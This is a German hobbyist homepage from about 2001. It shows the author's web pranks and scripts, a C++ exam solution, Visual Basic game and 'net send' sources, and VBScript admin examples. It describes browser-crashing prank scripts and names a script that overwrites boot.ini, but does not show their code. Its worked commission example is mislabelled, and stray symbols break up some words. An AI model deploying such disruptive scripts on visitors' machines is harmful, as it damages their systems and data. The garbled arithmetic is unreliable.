Ein tolles Spiel, leider hat der, der die "Patrone" gefunden hat verloren. Hier wird eine von 6 Möglichkeiten wie bei einem Revolver zum "Hauptgewinn" gemacht!
Keine Angst, hier wird keiner erschossen...aber wenn Sie keinen Spass verstehen und noch irgendwelche wichtigen Sachen geöffnet haben...lassen Sie es oder speichern und schließen Sie Ihre Anwendungen....!
Sie haben Mut...keine Angst Ihren Computer durch den "Not-Aus" abzuschalten? Dann klicken Sie auf die Knarre hier unten!
Achtung, unter Umständen kann hier ein Script ausgelöst werden das Ihren Rechner zum Absturz bringt! Überlegen Sie Sich ob Sie dies riskieren wollen! Der Verantwortliche dieser Seiten übernimmt keinerlei Haftung für Schäden die durch dieses Script entstehen können!
Auf dieser Seite ist kein Rechtsklick möglich! event.button == 2 document.onmousedown=click
Probiert auf dieser Seite das Kontextmenue aus!
(Läuft auf IE* und Netscape6)
ACHTUNG: Beim Auswählen von
"Zu Favoriten hinzufügen..."
stürtz der Browser ab und ist nur mit Strg, Alt, Entf zu beenden!
Einfach mit der Maus den Text überfahren!
z.B. Meldung beim Überfahren diese Satzes!
Oder ein Script ausführen wenn Sie diese Zeile überfahren!
Weihnachts oder Silvestergruss Ein Script das "nachschaut" ob Weihnachten oder Silvester ist, und entsprechend Pop-Up-Fenster öffnet!
Dezimal/Hexadezimal-Umrechner
Gib in dem Eingabefeld entweder einen Hexadezimalwert ein, den du in einen Dezimalwert umrechnen willst, oder einen Dezimalwert, den du in ein???????en Hexadezimalwert umrechnen willst. Wähle dann die gewünschte Rechenrichtung aus. In dem Eingabefeld wird dann sofort das Ergebnis angezeigt. Mit dem Button "Clear" setzt du das Formular in den Anfangszustand zurück.
Bei hexadezimalen Ziffern sind neben den Ziffern 0 bis 9 auch die folgenden Buchstaben erlaubt:
A / a (=10),B / b (=11),C / c (=12),D / d (=13),E / e (=14),F / f (=15).Wert:Ein sinnvolles Tool zur Bildbearbeitung für Webseiten, die hexadezimale Angabe von Farben in Html kann so in RGB umgerechnet werden.
Beispiel der Hintergrund dieser Tabelle:
Hexa = e2 e2 c5
RGB = 226 226 197
Man beachte die animierte Statusleiste unten!
Animierte Titelleiste Man beachte die animierte Titelleiste oben!
Im laufe der Zeit hat meine Script-Bibliothek eine beachtliche Größe angenommen. Ich gebe zu das ich die wenigsten selbst geschrieben habe, vertehe aber jedes Script und bin in der Lage es meinen Bedürfnissen an zu passen. Wenn man sie Sinnvoll einsetzt sind sie eine Bereicherung für jede Seite, sie können jedoch auch Schaden anrichten und furchtbar nerven. Testen Sie die Scripts dieser Seite, sie sind relativ ungefährlich. Beachten Sie jedoch dabei alle anderen Anwendungen zu schließen und Ihre Daten zu Speichern.
Für eventuelle auftretende Schäden beim Besuch dieser Seiten übernimmt der Autor keine Haftung!
Lesen Sie hierzu auch den Disclaimer!
Hier meine Beispiele:
Eine animierte Titelleiste!
Animierte Statusleiste
Hexa in Dezimal umrechnen
Einen Zeitraum erkennen um z.B. frohe Weihnachten zu wünschen
Aktionen beim Überfahren eines Textes mit der Maus!
Mein eigenes Kontexmenue!
Kein Rechtsklick möglich!
Seiten die sich gegenseitig immer wieder laden, sehr ärgerliches Script!
Russisches Roulette
Es macht mir unheimlich viel Spass Internetseiten zu gestallten. Selbstverständlich führe ich auch dieses Hobby professionell aus.
Wenn Interesse besteht, gestallte ich auch gerne Ihren Internetauftritt. Für Anfragen verwenden Sie mein Formular oder schreiben Sie mir eine e-Mail.
Hier einige Beispielseiten:
Geschäftliches:
Ferienwohnung (Auswahlseite + Poel)
Sicon GmbH
Immobilienseite Schweiz
Hess-Elektro-AG
Fahrschule Hirche
Die Küche
Öldirektanzeiger (Startseite + Ferrariteil)
Airbrush der besonderen Art (Coproduktion mit Martin Weh, diese Seite war 2001 nominiert für den Internet-Raab der Woche)
Kartenlegerin
(Änderungen + Erweiterung Workshopseiten)
Privates:
Mein Sohn
Verein:
Spielvereinigung Wehr
Scatclub Reizende Jungs
Gerne nehme ich auch an Ihren bestehenden Internetseiten Änderungen vor
Flash-Animationen haben den Vorteil das sie sehr klein und somit auch sehr gut für das Internet geeignet sind. Das man eine Seite trotzdem damit überladen kann zeigt dieses Beispiel ganz klar auf (ich entschuldige mich für die lange Ladezeit dieser Seite).
Die hier dargestellten Flash-Filme, inklusive dem Banner oben, wurden alle von mir persönlich erstellt. Hier gibts noch einen mit Sound...
Diese Seite dauert ein wenig bis sie geladen ist!
Animierte Gif's sind ein probates Mittel um Internetseiten ein wenig aufzupeppen! Die Bilder wurden nicht von mir erstellt.
Mit Grafiken fing meine Computerkarriere an, auf einem Steinzeitrechner hatte ich ein abgespecktes Corel Draw 4.0 installiert. Die hier gezeigten Grafiken habe ich in ein entsprechendes "Internetformat" konvertiert, sie stehen jedoch auch zum Download im Corel Draw Format zur Verfügung.
Vereinslogo der Sp???????ielvereinigung Wehr (21kb) Vereinslogo Skatclub (23kb)
Firmenlogo der PC-Helper
(Kein Download) Diesern Herr habe ich nur "abgemalt" (251kb)
C++ ist eine tolle Programmiersprache, sie ist eine Weiterentwicklung von C. Es handelt sich um eine hybride Sprache, die über die herkömmliche Codierung hinaus auch die objektorientierte Programmierung unterstützt.
Auf dieser Seite findet Ihr eine Beispielaufgabe und einige kleine Prog's zum download.
Solltest Du keinen C++ Compiler/Editor installiert haben musst Du einige dll Dateien Downloaden und in dem Ordner entpacken von dem aus Du die Programme starten willst!
Download dlls.zip (0,99MB)
Eine Prüfungsaufgabe von 2000:
Aufgabe 2
Für den Absatz der Produkte setzt die Firma Netkonzept GmbH Reisende und selbstständige Handelsvertreter ein.
Die Ermittlung der Absatzkosten soll mit einer DV-Anwendung automatisiert werden. Die Daten liegen nach folgendem Schema vor:
Tabelle: Vergütung
Feldname
VertrNr
Vertragsart
Umsatz
Vergütung
Kennzeichen
Felddatentyp
Text
Text
Währung
Währung
Text
H = Handelsvertreter, R = Reisender
Bei Eingabe des Umsatzes in ein Datenbankformular sollen die Felder Vergütung und Kennzeichen automatisch ausgefüllt werden.
2.1
Erstellen Sie ein Struktogramm für ein Unterprogramm, das bei Übergabe des Umsatzes die Provision des Handelsvertreters zurück gibt.
Regeln für die Berechnung der Vergütungen:
Reisender: erhält ein Fixum von 6.000 DM/Monat und 3% vom Umsatz als Umsatzprovision.
Handelsvertreter: erhält eine grundlegende Umsatzprovision von 6% vom Umsatz. Für jede 20.000 DM Umsatz, die 40.000 DM überschreiten, erhält er 0,5% Umsatzprovision mehr.
Beispiel: Umsatz 85.000 DM
Grundprovision: 85.000 DM
1. Zusatzprovision: (85.000 DM - 40.000 DM) *0,5% = 5.100,00 DM
2. Zusatzprovision: (45.000 DM - 20.000 DM) *0,5% = 225,00 DM
3. Zusatzprovision: (25.000 DM - 20.000 DM) *0,5% = 125,00 DM
Gesamt: 5475,00 DM
2.2
Schreiben Sie in einer Program???????miersprache Ihrer Wahl ein Unterprogramm, das das Kennzeichen "R" nach folgender Regel zurück gibt:
Regel für den Eintrag des Kennzeichens:
Dieses Feld erhält das Kennzeichen "R", wenn bei einem Handelsverterter die Vergütung höher ist als bei einem Reisenden und daher der Reisende für die Firma Netkonzept von den Kosten günstiger ist.
Struktogramme
Zu 2.1 Zu 2.2
Quelltext:
//----Lösung der Aufgaben 2.1 und 2.2------Marco Backschat---23.10.2001------
#include
//Ankündigung der Funktionen
float provision_HV (float);
char vergleich (float, float);
//Variable zur Eingabe des Umsatzes
float umsatz;
//Hauptprogramm
int main()
{
cout<<"Programmiert von Marco Backschat \xB8 2001\n\n";
cout<<"Bitte den Umsatz eingeben: ";
cin>>umsatz;
cout<<"\nBei \xAF H \xAE ist der Handelsvertreter, ";
cout<<"bei \xAF R \xAE der"; //Hier wird R oder H aus Funktion übergeben---
cout<<" Reisende billiger: "<< vergleich(umsatz,provision_HV(umsatz));
getchar();
return 0;
}
//--Funktion die die Provision des Handelsvertreters errechnet-----------------
float provision_HV (float umsatz)
{
float provision;
provision = umsatz*0.06;
umsatz = umsatz-40000;
//Schleife die solange läuft bis kein Umsatz mehr zum Berechnen da ist
while (umsatz > 0)
{
provision = provision+(umsatz*0.005);
umsatz = umsatz-20000;
}
return (provision);
}
//Funktion zum Errechnen des Gehalts des Reisenden und Vergleich mit HV
char vergleich (float umsatz, float provision)
{
float prov_reisender;
char erg='H';
prov_reisender = umsatz*0.03;
prov_reisender = prov_reisender+6000;
//Abfrage: Wenn der Reisende billiger ist wir R übergeben ansonsten H
if (provision > prov_reisender)
erg = 'R';
return (erg);
}
//ENDE
Downloads
Die Aufgabe und Lösung von oben: aufg2.zip (88KB)
Meine erste Programmierte Oberfläche: Liebe.zip (29KB)
Sekunden in Tage, Stunden u. Minuten umrechnen: zeit.zip (74KB)
Welcher Wochentag ist am...? wochentag.zip (75KB)
Das Magische Quadrat: magisches_quad.zip (68KB)
Primzah???????lensuche: primzahlen.zip (68KB)
Beispiel von Funktionen: baum.zip (68KB)
Berechnung von Summen: summen.zip (74KB)
Oh, Tannenbaum...: tannenbaum.zip (61KB)
Visual-Basic
Eine recht einfach zu erlernende Programmiersprache.
In einem dreiwöchigen Crashkurs durfte ich einige Übungen mit dieser Sprache machen.
Ich setzte mein erlerntes Wissen darin um das ich meinen Kindern zwei nette Spiele Programmierte, die hier zum Download bereit stehen.
Später Programmierte ich ein kleines Prog, das Nachrichten im Netzwerk versendet (net send). Das Interessante an diesem Programm war es möglich zu machen das es in Netzen unterschiedlicher Netzkennung zum Einsatz gebracht werden sollte. Ausserdem sollte ein Name aus einem Dropdown-Listenfeld ausgewählt werden und im Programm einer IP-Adresse zugeordnet werden. Beide Probleme habe ich über zwei *.ini Dateien gelöst, die recht einfach zu editieren sind.
Die Spiele müssen Installiert werden. Das "net send"-Prog steht zum Installieren, zum Ausprobieren und zum "Weiterprogrammieren" bereit.
Ausserdem stelle ich die Quelltexte auszugsweise zur Verfügung.
HomerS
Ein kleines Spiel das aufgebaut ist wie eine Slot-Maschine es laufen drei Walzen mit Bildern, die gestoppt werden müssen, bei Bildgleichheit gibts Coins satt.
(Für Win 2000, läuft auch unter 98, dort aber recht langsam)
HomerS_Install.zip (6MB)
Quelltext
Blinky
Ein Spiel das dem Klassiker Senso aus den 70' Jahren nachempfunden ist.
(Ein Win 98 Spiel)
blinky_install.zip (2,3MB)
Quelltext
NetSender
Kleines Prog das "net send" ausführt. Die *.ini Dateien müssen angepasst werden.
Ausprobieren (135 KB)
Installieren (2,87 MB)
Programmieren (135 KB)
Quelltext
Quelltext HomerS
Option Explicit
Private stop0 As Boolean
Private stop1 As Boolean
Private stop2 As Boolean
Private pos0 As Integer
Private pos1 As Integer
Private pos2 As Integer
Private zufall0 As Integer
Private zufall1 As Integer
Private zufall2 As ???????Integer
Private offset0 As Integer
Private offset1 As Integer
Private offset2 As Integer
Public gewinn As Integer
Private Sub Command1_Click()
'Infofenster
Form2.Visible = True
End Sub
Private Sub ende_Click()
If Text2 < Text1 Then
gewinn = Text1 - Text2
ElseIf Text2 > Text1 Then
gewinn = Text1 - Text2
Else
gewinn = 0
End If
Form3.Visible = True
End Sub
Private Sub Form_Load()
'Bilder für gewonnen und verloren beim start ausblenden
lost.Visible = False
win.Visible = False
'Hinweis einblenden
Label1 = "Insert Coins and Start Game!"
'stop ausblenden
stop_links.Visible = False
stop_mitte.Visible = False
stop_rechts.Visible = False
End Sub
Private Sub Image1_Click()
'1 Coin einwerfen
Text2 = Text2 + 1
Text1 = Text1 + 1
End Sub
Private Sub Image2_Click()
'2 Coins einwerfen
Text2 = Text2 + 2
Text1 = Text1 + 2
End Sub
Private Sub Image3_Click()
'5 Coins einwerfen
Text2 = Text2 + 5
Text1 = Text1 + 5
End Sub
Private Sub start_Click()
lost.Visible = False
win.Visible = False
Label1.Visible = False
stop_links.Visible = False
stop_mitte.Visible = False
stop_rechts.Visible = False
'Einsatz abziehen oder Meldung über kein Guthaben ausgeben
'Hinweis "insert coin" bei Guthaben ausblenden
If Text1 > 0 Then
Text1 = Text1 - 1
Label1.Visible = False
stop_links.Visible = True
'Timer1 starten
Timer1.Enabled = True
offset0 = 50
pos0 = -1000
zufall0 = 0
'Timer2 starten
Timer2.Enabled = True
offset1 = 60
pos1 = -1000
zufall1 = 1
'Timer3 starten
Timer3.Enabled = True
offset2 = 70
pos2 = -1000
zufall2 = 2
Else
MsgBox "Du hast keine Kohle mehr, gib mir Coins!", vbOKOnly + vbExclamation, "Geld her!"
Label1 = "Insert Coins and Start Game"
Label1.Visible = True
End If
If stop1 = True And stop2 = True And stop0 = True Then
stop1 = False
stop2 = False
stop0 = False
End If
End Sub
Private Sub stop_links_Click()
stop0 = True
stop_mitte.Visible = True
End Sub
Private Sub stop_mitte_Click()
stop1 = True
stop_rechts.Visible = True
End Sub
Private Sub stop_rech???????ts_Click()
stop2 = True
'vegleich ob gewonnen
Do
DoEvents
Loop Until Timer1.Enabled = False And Timer2.Enabled = False And Timer3.Enabled = False
If zufall0 = zufall1 And zufall1 = zufall2 Then
Text1 = Text1 + 5
win.Visible = True
Label1 = "GEWONNEN"
Label1.Visible = True
ElseIf zufall0 = zufall1 Or zufall0 = zufall2 Or zufall1 = zufall2 Then
Text1 = Text1 + 2
Label1 = "GEWONNEN"
Label1.Visible = True
win.Visible = True
Else
Label1 = "Du bist ein Homer!"
Label1.Visible = True
lost.Visible = True
End If
End Sub
Private Sub Timer1_Timer()
walze_links.PaintPicture pic(zufall0), 0, pos0, pic(zufall0).Width, pic(zufall0).Height
pos0 = pos0 + offset0
If stop0 = True And pos0 = 100 Then Timer1.Enabled = False
If pos0 >= 1275 Then
pos0 = -1000
Randomize
zufall0 = Int(Rnd * 8)
End If
End Sub
Private Sub Timer2_Timer()
walze_mitte.PaintPicture pic(zufall1), 0, pos1, pic(zufall1).Width, pic(zufall1).Height
pos1 = pos1 + offset1
If stop1 = True And pos1 = 80 Then Timer2.Enabled = False
If pos1 >= 1275 Then
pos1 = -1000
zufall1 = Int(Rnd * 8)
End If
End Sub
Private Sub Timer3_Timer()
walze_rechts.PaintPicture pic(zufall2), 0, pos2, pic(zufall2).Width, pic(zufall2).Height
pos2 = pos2 + offset2
If stop2 = True And pos2 = 120 Then Timer3.Enabled = False
If pos2 >= 1275 Then
pos2 = -1000
zufall2 = Int(Rnd * 8)
End If
End Sub
Quelltext Blinky
Option Explicit
Private Sub Form_Load()
'der spielername wird ins label übernommen
player = Namen.eingabe.Text
'externe datei f. highscore wird geladen
weg1 = "scorelist1.hsc"
Call lesen1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call schreiben1
End Sub
Private Sub mnu_beenden_Click()
Call schreiben1
End
End Sub
Private Sub mnu_info_Click()
Info.Show
End Sub
Private Sub mnu_schwer_Click()
Game2.Visible = True
Game.Visible = False
End Sub
Private Sub mnu_start_Click()
'beim start werden arrays und variablen auf null gesetzt
Dim l As Integer
For l = 0 To 499
Reihenfolge1(l) = 0
Klickfolge1(l) = 0
Next l
hil???????f_click1 = 0
click_anzahl1 = 0
reihe_einlesen1 = 0
Klick_Nr1 = 0
Feld_Nr1 = 0
p1 = 0
points = p1
letzter_click1 = 0
Call Los1
End Sub
Private Sub Picture2_Click(Index1 As Integer)
Dim i As Integer
Call highscore1
Klick_Nr1 = Index1
Call sound00(Index1)
Call einmalblink1(Index1)
Call click_merken1
Call kontrolle1
'hier wird hochgezählt, auf null gesetzt und array gelehrt um eine neue runde einzuläuten
If hilf_click1 > reihe_einlesen1 Then
click_anzahl1 = 0
hilf_click1 = 0
reihe_einlesen1 = reihe_einlesen1 + 1
For i = 0 To click_anzahl1 + 1
Klickfolge1(i) = 0
Next i
Call weiter1
End If
End Sub
Option Explicit
'zufallszahl
Public Feld_Nr As Integer
Public Feld_Nr1 As Integer
'array um farbe auzuwählen
Public Farbe(9) As Long
Public Farbe1(9) As Long
'entprechend der bildbox die aktiv ist wird hier sound und farbe zugewiesern
Public Sub Farbe_aendern()
Farbe(0) = 255
Farbe(1) = 33023
Farbe(2) = 65535
Farbe(3) = 65280
Farbe(4) = 16776960
Farbe(5) = 16711680
Farbe(6) = 16711935
Farbe(7) = 16761024
Farbe(8) = &HC0FFC0
Call sound00(Feld_Nr)
Call zeit(Feld_Nr)
End Sub
Public Sub Farbe_aendern1()
Farbe1(0) = 255
Farbe1(1) = 33023
Farbe1(2) = 65535
Farbe1(3) = 65280
Call sound00(Feld_Nr1)
Call zeit1(Feld_Nr1)
End Sub
Public Sub sound00(soundnummer As Integer)
Dim pfad
pfad = CurDir
If soundnummer = 0 Then
pfad = pfad + "\" + "1.mid"
sound.MediaPlayer1.FileName = pfad
sound.MediaPlayer1.Play
End If
If soundnummer = 1 Then
pfad = pfad + "\" + "2.mid"
sound.MediaPlayer1.FileName = pfad
sound.MediaPlayer1.Play
End If
If soundnummer = 2 Then
pfad = pfad + "\" + "3.mid"
sound.MediaPlayer1.FileName = pfad
sound.MediaPlayer1.Play
End If
If soundnummer = 3 Then
pfad = pfad + "\" + "4.mid"
sound.MediaPlayer1.FileName = pfad
sound.MediaPlayer1.Play
End If
If soundnummer = 4 Then
pfad = pfad + "\" + "5.mid"
sound.MediaPlayer1.FileName = pfad
sound.MediaPlayer1.Play
End If
If soundnummer = 5 Then
pfad = pfad + "\" + "6.mid"
sound.MediaPlayer1.FileNam???????e = pfad
sound.MediaPlayer1.Play
End If
If soundnummer = 6 Then
pfad = pfad + "\" + "7.mid"
sound.MediaPlayer1.FileName = pfad
sound.MediaPlayer1.Play
End If
If soundnummer = 7 Then
pfad = pfad + "\" + "8.mid"
sound.MediaPlayer1.FileName = pfad
sound.MediaPlayer1.Play
End If
If soundnummer = 8 Then
pfad = pfad + "\" + "9.mid"
sound.MediaPlayer1.FileName = pfad
sound.MediaPlayer1.Play
End If
End Sub
Option Explicit
'array um zu speichern in welcher reihenfolge gblinkt wird
Public Reihenfolge(500) As Integer
'zählt die felder des arrays reihenfolge hoch
Public reihe_einlesen As Integer
'zählt die felder des arrays klickfolge hoch
Public click_anzahl As Integer
'speichert immer wieder aktuell was angeklickt wurde
Public Klickfolge(500) As Integer
'gibt das aktuell angeklickte feld an
Public Klick_Nr As Integer
'zum merken des zuletzt angeklickten feldes
Public hilf_click As Integer
Public letzter_click As Integer
'punktestand
Public p2 As Integer
'container um highscore und namen des besten zu speichern
Private Type hscore
gamer As String * 10
pts As Integer
End Type
'gehören zum container
Public hsc As hscore
Public zeile As Integer
Public weg As String
'wie oben, fur die normale version
Public Reihenfolge1(500) As Integer
Public reihe_einlesen1 As Integer
Public click_anzahl1 As Integer
Public Klickfolge1(500) As Integer
Public Klick_Nr1 As Integer
Public hilf_click1 As Integer
Public p1 As Integer
Public letzter_click1 As Integer
Private Type hscore1
gamer1 As String * 10
pts1 As Integer
End Type
Public hsc1 As hscore1
Public zeile1 As Integer
Public weg1 As String
Public Sub merken_ausgeben()
'hier wird ein blink nach dem anderen ins array geschrieben
Reihenfolge(reihe_einlesen) = (Feld_Nr)
End Sub
Public Sub merken_ausgeben1()
'hier wird ein blink nach dem anderen ins array geschrieben
Reihenfolge1(reihe_einlesen1) = (Feld_Nr1)
End Sub
Public Sub zeit(feldnummer As Integer)
Dim aktuelleZeit As Single
aktuelleZeit = Timer
Do
'hier wird dem f???????eld das an der reihe zum blinken gebracht
Game2.Picture1(feldnummer).BackColor = Farbe(feldnummer)
Loop While Timer < aktuelleZeit + 0.8
aktuelleZeit = Timer
'hier entferne ich sie wieder
Game2.Picture1(feldnummer).BackColor = &H8000000F
Do
''ist das selbe feld zweimal hintereinander dran wird diese kleine pause aktiv
Game2.Picture1(letzter_click).BackColor = &H8000000F
Loop While Timer < aktuelleZeit + 0.2
End Sub
Public Sub zeit1(feldnummer1 As Integer)
Dim aktuelleZeit1 As Single
aktuelleZeit1 = Timer
Do
'hier wird dem feld das an der reihe zum blinken gebracht
Game.Picture2(feldnummer1).BackColor = Farbe1(feldnummer1)
Loop While Timer < aktuelleZeit1 + 0.6
aktuelleZeit1 = Timer
'hier entferne ich sie wieder
Game.Picture2(feldnummer1).BackColor = &H8000000F
Do
'ist das selbe feld zweimal hintereinander dran wird diese kleine pause aktiv
Game.Picture2(letzter_click1).BackColor = &H8000000F
Loop While Timer < aktuelleZeit1 + 0.2
End Sub
Public Sub Los()
'zufallszahl wird gezogen
Randomize
Feld_Nr = (Rnd * 8)
'ins array aufnehmen
Call merken_ausgeben
'farbe auswählen
Call Farbe_aendern
End Sub
Public Sub Los1()
'zufallszahl wird gezogen
Randomize
Feld_Nr1 = (Rnd * 3)
'ins array aufnehmen
Call merken_ausgeben1
'farbe auswählen
Call Farbe_aendern1
End Sub
Public Sub weiter()
'schleife um die bisher gespeicherten felder nacheinander
'blinken und tönen zu lassen
Dim i As Integer
For i = 0 To reihe_einlesen - 1
Call sound00(Reihenfolge(i))
Call zeit(Reihenfolge(i))
Next i
Call Los
End Sub
Public Sub weiter1()
'schleife um die bisher gespeicherten felder nacheinander
'blinken und tönen zu lassen
Dim i As Integer
For i = 0 To reihe_einlesen1 - 1
Call sound00(Reihenfolge1(i))
Call zeit1(Reihenfolge1(i))
Next i
Call Los1
End Sub
Public Sub click_merken()
'welche felder wurden angeklickt?
Klickfolge(click_anzahl) = (Klick_Nr)
letzter_click = Klick_Nr
End Sub
Public Sub click_merken1()
'welche felder wurden angeklickt?
Klickfolge1(click_anzahl1) = (Klick???????_Nr1)
letzter_click1 = Klick_Nr1
End Sub
Public Sub kontrolle()
'wurde richtig geklickt?
If (Reihenfolge(hilf_click) = Klickfolge(hilf_click)) Then
'ja, weiter gehts
hilf_click = hilf_click + 1
click_anzahl = click_anzahl + 1
'nein, meldung
Else
MsgBox "Leider verloren!", vbOKOnly + vbCritical, "GAME OVER"
'eventuell erreichter highscore in datei schreiben
Call schreiben
End If
End Sub
Public Sub kontrolle1()
'wurde richtig geklickt?
If (Reihenfolge1(hilf_click1) = Klickfolge1(hilf_click1)) Then
'ja, weiter gehts
hilf_click1 = hilf_click1 + 1
click_anzahl1 = click_anzahl1 + 1
'nein, meldung
Else
MsgBox "Leider verloren!", vbOKOnly + vbCritical, "GAME OVER"
'eventuell erreichter highscore in datei schreiben
Call schreiben1
End If
End Sub
Public Sub highscore()
'punkte erhöhen und in label schreiben
p2 = p2 + 1
Game2.points2 = p2
'highscore erreicht? highscore label erhöhen und namen in highscore aufnehmen
If p2 > Game2.score2 Then
Game2.score2 = Game2.score2 + 1
Game2.high2 = Namen.eingabe
End If
End Sub
Public Sub highscore1()
'punkte erhöhen und in label schreiben
p1 = p1 + 1
Game.points = p1
'highscore erreicht? highscore label erhöhen und namen in highscore aufnehmen
If p1 > Game.score Then
Game.score = Game.score + 1
Game.high = Namen.eingabe
End If
End Sub
Public Sub einmalblink(pic_nr As Integer)
Dim aktuelleZeit As Single
aktuelleZeit = Timer
Do
'beim nachklicken soll das feld blinken
Game2.Picture1(pic_nr).BackColor = Farbe(pic_nr)
Loop While Timer < aktuelleZeit + 0.4
'und wieder grau werden
aktuelleZeit = Timer
Game2.Picture1(pic_nr).BackColor = &H8000000F
End Sub
Public Sub einmalblink1(pic_nr1 As Integer)
Dim aktuelleZeit1 As Single
aktuelleZeit1 = Timer
Do
'beim nachklicken soll das feld blinken
Game.Picture2(pic_nr1).BackColor = Farbe1(pic_nr1)
Loop While Timer < aktuelleZeit1 + 0.4
aktuelleZeit1 = Timer
'und wieder grau werden
Game.Picture2(pic_nr1).BackColor = &H8000000F
End Sub
Public Sub schreiben()
'highscore in container s???????chreiben
zeile = 1
hsc.gamer = Game2.high2
hsc.pts = Game2.score2
Open weg For Random As #1 Len = Len(hsc)
Put #1, zeile, hsc
Close #1
End Sub
Public Sub schreiben1()
'highscore in container schreiben
zeile1 = 1
hsc1.gamer1 = Game.high
hsc1.pts1 = Game.score
Open weg1 For Random As #1 Len = Len(hsc1)
Put #1, zeile1, hsc1
Close #1
End Sub
Public Sub lesen()
'highscore und namen aus ext container lesen und in label schreiben
zeile = 1
Open weg For Random As #1 Len = Len(hsc)
Get #1, zeile, hsc
Game2.high2 = hsc.gamer
Game2.score2 = hsc.pts
Close #1
End Sub
Public Sub lesen1()
'highscore und namen aus ext container lesen und in label schreiben
zeile1 = 1
Open weg1 For Random As #1 Len = Len(hsc1)
Get #1, zeile1, hsc1
Game.high = hsc1.gamer1
Game.score = hsc1.pts1
Close #1
End Sub
Quelltext NetSender
'Dieses Programm soll net send ausführen
'by Marco Backschat www.fach-informatiker.com Visit my Homepage...
Option Explicit
'Das ist der erste zu sendende Teil
'diese Variable wird mit dem Inhalt der Datei settings.ini gefüllt
Private AnfangIP As String
'diese Variable beinhaltet später Text und den Rest der IP oder den *
Private RIP As String
'diese Variable beinhaltet den Rest der IP
Private RIP2 As String
'Arrays um die Namen und Enden von IPs aufzunehmen
Private Number(254) As String
Private list(254) As String
'Hilfsvariablen, Variablen der Oberflächenänderung
Private Nachricht As String
Private ueberschrift As String
Private eingabe As String
Private alle As String
Private helfer As Integer
Private helfer2 As Integer
Private helfer3 As Integer
' Dies sind die Funktionen die bei klick auf Nachricht senden ausgeführt werden
Private Sub Command1_Click()
'Überprüfen welcher Name ind der Combobox steht und mit der IP abgleichen
Do
helfer3 = helfer3 + 1
If Combo1.Text = list(helfer3) Then
RIP2 = Number(helfer3)
End If
Loop Until Combo1.Text = list(helfer3)
If Combo1.Text = "" Then
MsgBox "Bitte Namen aus der Liste wählen!", vbCritical & vbOKOnly, "Achtung???????"
helfer3 = -1
Exit Sub
End If
helfer3 = -1
'Ist "An ALLE" ausgewählt, dann...
If RIP2 = "*" Then
RIP = RIP2 & " " & Text2.Text
'...ansonsten...
Else
RIP = CStr(AnfangIP) & RIP2 & " " & Text2.Text
End If
'hier setzen wir net send und die Variablen zusammen
Nachricht = "net send " & RIP
'ausführen des Netsend Befehls
Shell Nachricht
'Die Textfelder werden geleert
Text2.Text = ""
'Die Variablen werden zurückgesetzt
RIP = ""
Nachricht = ""
End Sub
Private Sub Command2_Click()
'das Prog wird bei Klick auf Beenden geschlossen
End
End Sub
Private Sub Form_Load()
'Hilfsvariablen auf Null setzet
helfer = -1
helfer2 = -1
helfer3 = -1
'User.ini Öfnnen und auslesen
Const ForReading = 1, ForWriting = 2, ForAppending = 3
Dim fs, f, ts
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFile("user.ini")
Set ts = f.OpenAsTextStream(ForReading)
'Schleife die den Inhalt der User.ini in Arrays schreibt
Do
helfer = helfer + 1
list(helfer) = ts.Readline
Number(helfer) = ts.Readline
Loop Until list(helfer) = "An ALLE senden!"
ts.Close
'Datei auslesen Ende
'Schleife die alle Namen in die Combobox schreibt
Do
helfer2 = helfer2 + 1
Combo1.AddItem list(helfer2)
Loop Until list(helfer2) = "An ALLE senden!"
'Dieser Teil liest aus der "settings.ini" die Netzwerkkennung aus
Dim fs2, f2, ts2
Set fs2 = CreateObject("Scripting.FileSystemObject")
Set f2 = fs2.GetFile("settings.ini")
Set ts2 = f2.OpenAsTextStream(ForReading)
AnfangIP = ts2.Readline
ueberschrift = ts2.Readline
eingabe = ts2.Readline
alle = ts2.Readline
ts2.Close
'Ende von Kennung auslesen
'hier wird das in die oberfläche geschrieben was in der Settings.ini steht
Label2.Caption = ueberschrift
Label3.Caption = eingabe
Label1.Caption = alle
End Sub
VB-Script
Ein abgespecktes Visual Basic mit dem man die herrlichsten Sachen machen kann. Ich legte mir nach einer Schulung in VB-Script sofort das Buch "Scripting für Administratoren" zu...gerade fü???????r Win2000 oder NT sehr zu empfehlen.
Hier einige Beispiele für's Scripting:
Ein Anmeldescript das den Benutzer an der Domäne begrüßt
Der Webdienst wird Angehalten und nach 10 min. wieder gestartet
Script das die Boot.ini überschreibt
Ein Word-Icon wird auf den Desktop kopiert...und es startet kein Word... ;-)
--------------------------------------------------------------------------------
Anmeldescript:
'Aufgabe war es ein Visual Basic Script zu schreiben, das:
'-Den Benutzer an der Domäne begrüßt
'-Infos übers Netzwerk liefert
'-Netzlaufwerke verbindet
'Die Variablen und Konstanten die Benötigt werden
'------------------------------------------------
Option Explicit
Dim Zeit
Dim Hallo
Dim Tag
Dim Text
Dim Title
Dim Netzwerk
Const Morgen = 11
Const Abend = 17
'Hier erzeuge ich ein Objekt über das auf die Netzwerkinformationen zugegriffen wird
'------------------------------------------------------------------------------------
Set Netzwerk = WScript.CreateObject("WScript.Network")
on error resume next
'An dieser stelle wird mit einem Netzlaufwerk verbunden
'-----------------------------------------------------
Netzwerk.MapNetworkdrive "U:", "\\Nt_App1\User"
If colNetDrives.Count = 0 then
Else
For x = 0 to colNetDrives.count-1 Step 2
wshNetwork.RemoveNetworkDrive colNetDrives.Item(x)
Next
End If
'Die Systemzeit auslesen, um nach Tageszeit begrüßen zu können
'--------------------------------------------------------------
Zeit = hour(time)
if Zeit < Morgen then
Hallo = "Guten Morgen"
elseif Zeit >= Abend then
Hallo = "Guten Abend"
else
Hallo = "Guten Tag"
end if
'Den Wochentag auslesen und die Variablen mit Inhalt füllen
'----------------------------------------------------------
Tag = WeekdayName(weekday(now))
Text = vbCRLF & Hallo & " Benutzer '" & Ucase(Netzwerk.Username) & "'"
Title = "Willkommen in der Domäne '" & Netzwerk.UserDomain & "'"
Text = Text & vbCRLF & vbCRLF
Text = Text & " Sie benutzen den Computer: '" & Netzwerk.ComputerName & "' !" & vbCRLF ???????& vbCRLF
Text = Text & " Heute ist: " & Tag & ", der " & date & vbCRLF & vbCRLF
'Messagebox ist fertig und wird aufgerufen
'-----------------------------------------
MsgBox Text, vbOkonly & vbInformation, Title
--------------------------------------------------------------------------------
Meine Aufgabe war es ein Script zu schreiben das den Webserverdienst für 10 Minuten anhält um ihn dann wieder zu starten.
'##################################################
' Autor: Marco Backschat #
' e-Mail: mbackschat@fach-informatiker.com
